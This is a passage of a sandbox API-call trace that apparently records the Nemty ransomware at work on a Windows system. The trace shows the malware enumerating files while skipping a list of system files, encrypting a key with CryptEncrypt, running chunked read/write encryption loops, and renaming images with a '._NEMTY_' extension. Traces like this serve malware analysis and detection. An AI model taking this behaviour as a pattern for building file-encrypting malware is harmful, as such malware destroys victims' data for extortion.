dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.321] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.327] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.327] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401e0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0115.327] CloseHandle (hObject=0xffffffff) returned 0 [0115.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0115.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0115.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0115.327] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0115.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0115.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0115.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0115.327] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0115.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0115.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0115.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner.png._nemty_kgobjgd_")) returned 0 [0115.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0115.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0115.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0115.327] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0115.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0115.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0115.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0115.328] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8294716f, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8294716f, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2861e485, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="diner_dot.png", cAlternateFileName="")) returned 1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2=".") returned 1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2="..") returned 1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2="...") returned 1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2="windows") returned -1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2="$RECYCLE.BIN") returned 1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2="rsa") returned -1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2="NTDETECT.COM") returned -1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2="ntldr") returned -1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2="MSDOS.SYS") returned -1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2="IO.SYS") returned -1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2="boot.ini") returned 1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2="boot.ini") returned 1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2="AUTOEXEC.BAT") returned 1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2="ntuser.dat") returned -1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2="desktop.ini") returned 1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2="CONFIG.SYS") returned 1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2="RECYCLER") returned -1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2="BOOTSECT.BAK") returned 1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2="bootmgr") returned 1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2="programdata") returned -1 [0115.328] lstrcmpiW (lpString1="diner_dot.png", lpString2="appdata") returned 1 [0115.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_dot.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0115.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_dot.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner_dot.png", lpUsedDefaultChar=0x0) returned 13 [0115.328] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0115.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_dot.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0115.328] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_dot.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner_dot.png", lpUsedDefaultChar=0x0) returned 13 [0115.328] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0115.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_dot.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0115.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_dot.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner_dot.png", lpUsedDefaultChar=0x0) returned 13 [0115.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_dot.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0115.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="diner_dot.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diner_dot.png", lpUsedDefaultChar=0x0) returned 13 [0115.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0115.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0115.329] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0115.329] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0115.329] Sleep (dwMilliseconds=0x5) [0115.344] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf865bb70, dwHighDateTime=0x1d561e7)) [0115.344] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf865bb70, dwHighDateTime=0x1d561e7)) [0115.344] GetLastError () returned 0x5 [0115.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0115.344] GetLastError () returned 0x5 [0115.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0115.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0115.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0115.344] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0115.344] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0115.345] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0115.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0115.345] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="VlhdF74GSjBUcJq5vw0adKe0+n6H96TU4W4TpE5XHAvE8RevRBet6NzxRDQyCvdj\r\nE9AwOzcO47Lx9pErA0q2joQE9Vo2quXHTSXAh6IV2Da5azk9+IiLUY8ZWTSD/LcX\r\nDOJs28/yqajh8qSnHdRVVSj9UTbhjvQYNeAu+fXj8OCOc+8bi73pESefzmB30rmW\r\nS3gBaRkPlG52QBJJxXFxGvv+BgmaM3aGsm1fSzOglkfmy/6vbvKnV1qQd4snBz3A\r\n6ieOx3Z+hG3FvdpRQplra0NoZM0tR1SNgfhK31LdmXxGoK3AGphNWxZGN8LyfZ6n\r\niq3ly1NmFGBsQjzBp8j9rA==\r\n", pcchString=0x653e91c) returned 1 [0115.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0115.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0115.345] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0115.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0115.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0115.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0115.345] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0115.345] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0115.345] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0115.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.345] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.354] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.354] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.354] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.364] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.373] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.373] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.373] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.383] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.383] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.383] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.392] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.392] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.392] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.401] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.401] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.401] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.411] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.411] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.420] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.420] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.420] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.420] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.429] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.429] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.429] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.446] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.446] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.452] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.452] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0115.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.458] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.458] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0115.458] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0115.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0115.458] CloseHandle (hObject=0xffffffff) returned 0 [0115.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0115.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0115.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0115.458] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0115.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0115.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0115.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0115.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0115.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0115.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0115.459] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_dot.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\diner_dot.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\diner_dot.png._nemty_kgobjgd_")) returned 0 [0115.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0115.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0115.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0115.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0115.459] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, 